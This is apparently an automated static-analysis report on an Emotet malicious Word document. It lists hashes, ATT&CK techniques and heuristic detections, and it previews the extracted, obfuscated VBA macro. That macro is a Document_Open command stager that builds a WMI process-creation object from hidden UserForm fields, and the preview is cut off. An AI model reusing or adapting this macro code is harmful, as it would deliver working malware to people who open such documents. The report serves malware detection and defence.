Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ef9fd7ba4e781ca7…

MALICIOUS

Office (OLE)

229.2 KB Created: 2020-08-14 14:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 34d75742dc02942959db868db625a8c3 SHA-1: a6b198bbd625ff1f1f8eb5be4e6211860bc853ba SHA-256: ef9fd7ba4e781ca733648af25d74bc9b5bb34a0f31cbab6646580f12da8908fc
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro and a hidden UserForm command stager, which are hallmarks of Emotet. The macro's obfuscated code and use of CreateObject indicate it's designed to execute arbitrary code, likely downloading a secondary payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9319752-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9319752-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8351 bytes
SHA-256: 7ba704f4065ec711975525916becfdc7cab8d282f523054925c5ce11820e06db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bgnu6q_xco3h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
N5114a90ipsyc_ap.Z0l6vpg0s5o8
End Sub


Attribute VB_Name = "N5114a90ipsyc_ap"
Attribute VB_Base = "0{94F6DD71-6EE4-4770-A881-A2D9772A43F3}{E3EF77D8-35E5-4B19-8C06-CC6BA25A931D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Z0l6vpg0s5o8()
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Tgfa472b6rntnddac2 = N5114a90ipsyc_ap.HelpContextId + 100
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Ss0jt3auy7g = ChrW(Tgfa472b6rntnddac2 + (100 + 35) / 9)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Z4q1pl4q02ji8_v5 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Ss0jt3auy7g + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + N5114a90ipsyc_ap.H87949rc_i0y5wro0p + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
H8v212kb4w_5x = S3t5dmq3mng3cdpx(Z4q1pl4q02ji8_v5)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Set Ej4c685hzn6hnig = CreateObject(H8v212kb4w_5x)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Lo9y5vuu37em0nam5 = N5114a90ipsyc_ap.Lbcsp5gfwhr.ControlTipText
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Fi2z_wdcckv2q = Gs0ugldf23uo + (H8v212kb4w_5x + Ss0jt3auy7g + N5114a90ipsyc_ap.Q2_01rypxnqhg2zp9d.ControlTipText + Lo9y5vuu37em0nam5)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Dc12eeyxfn14vjzpy4 = Fi2z_wdcckv2q + N5114a90ipsyc_ap.H87949rc_i0y5wro0p
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 +
... (truncated)